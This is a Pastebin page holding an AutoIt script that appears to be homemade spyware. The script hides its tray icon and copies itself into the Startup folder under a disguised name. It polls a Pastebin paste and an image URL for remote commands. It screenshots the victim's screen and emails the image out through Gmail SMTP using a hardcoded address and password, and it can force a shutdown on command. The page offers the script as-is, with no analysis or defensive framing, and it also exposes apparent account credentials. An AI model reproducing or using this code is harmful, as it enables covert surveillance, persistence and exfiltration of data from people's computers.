Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- TraySetState (2)
- #include <FileConstants.au3>
- #include <File.au3>
- #include <ScreenCapture.au3>
- #Include <Pastebin.au3>
- if FileExists (@StartupDir&"\plaay.exe") = 0 Then
- _FileCreate (@UserProfileDir & "\down.txt")
- FileCopy (@AutoItExe,@StartupDir&"\plaay.exe")
- EndIf
- $pc="6"
- $SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
- $FromName = "Action" ; name from who the email was sent
- $FromAddress = "Mdaiji.oussama.2@gmail.com" ; address from where the mail should come
- $ToAddress = "Mdaiji.oussama.2@gmail.com" ; destination address of the email - REQUIRED
- $AttachFiles = @UserProfileDir & "\GImage1.jpg" ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
- $Subject = "From PC " & $pc
- $Body = ""
- $CcAddress = "" ; address for cc - leave blank if not needed
- $BccAddress = "" ; address for bcc - leave blank if not needed
- $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
- $Username = "Mdaiji.oussama.2" ; username for the account used from where the mail gets sent - REQUIRED
- $Password = "Bushmaster"
- $IPPort = 465 ; port used for sending the mail
- $ssl = 1
- Global $oMyRet[2]
- Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
- $sFilePath = @UserProfileDir & "\down.txt"
- While 1
- $si = InetGetSize ("https://image.ibb.co/k9Wh9T/23231876_1173990852744669_1687757510_n.jpg")
- if $si = "34697" Then
- _PB_Open()
- $dRAW = _GetRawPaste("https://pastebin.com/Qp4jejeH")
- _PB_Close()
- $hFileOpen = FileOpen($sFilePath)
- $sFileRead = FileReadLine($hFileOpen, 1)
- $jarab = StringSplit ($dRAW,"*")
- FileClose ($hFileOpen)
- if $jarab[1] <> $sFileRead And $jarab[3]=$pc Then
- ConsoleWrite ($jarab[1] & " - - " & $sFileRead & @CRLF)
- $Body = "DONE"
- _ScreenCapture_Capture(@UserProfileDir & "\GImage1.jpg")
- $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
- if $jarab[2]="shutdown" Then
- Shutdown (5)
- ElseIf $jarab[2]="screen" Then
- sleep (50)
- EndIf
- $hFileOpen = FileOpen($sFilePath,2)
- FileWriteLine($hFileOpen,$jarab[1])
- FileClose ($hFileOpen)
- ConsoleWrite ("Done" & @CRLF)
- EndIf
- EndIf
- WEnd
- Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
- Local $objEmail = ObjCreate("CDO.Message")
- $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
- $objEmail.To = $s_ToAddress
- Local $i_Error = 0
- Local $i_Error_desciption = ""
- If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
- If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
- $objEmail.Subject = $s_Subject
- If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
- $objEmail.HTMLBody = $as_Body
- Else
- $objEmail.Textbody = $as_Body & @CRLF
- EndIf
- If $s_AttachFiles <> "" Then
- Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
- For $x = 1 To $S_Files2Attach[0]
- $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
- ;~ ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
- If FileExists($S_Files2Attach[$x]) Then
- ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
- $objEmail.AddAttachment($S_Files2Attach[$x])
- Else
- ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
- SetError(1)
- Return 0
- EndIf
- Next
- EndIf
- $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
- $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
- If Number($IPPort) = 0 then $IPPort = 25
- $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
- ;Authenticated SMTP
- If $s_Username <> "" Then
- $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
- $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
- $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
- EndIf
- If $ssl Then
- $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
- EndIf
- ;Update settings
- $objEmail.Configuration.Fields.Update
- ; Set Email Importance
- Switch $s_Importance
- Case "High"
- $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
- Case "Normal"
- $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
- Case "Low"
- $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
- EndSwitch
- $objEmail.Fields.Update
- ; Sent the Message
- $objEmail.Send
- If @error Then
- SetError(2)
- Return $oMyRet[1]
- EndIf
- $objEmail=""
- EndFunc ;==>_INetSmtpMailCom
- ;
- ;
- ; Com Error Handler
- Func MyErrFunc()
- $HexNumber = Hex($oMyError.number, 8)
- $oMyRet[0] = $HexNumber
- $oMyRet[1] = StringStripWS($oMyError.description, 3)
- ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
- SetError(1); something to check for when this function returns
- Return
- EndFunc ;==>MyErrFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement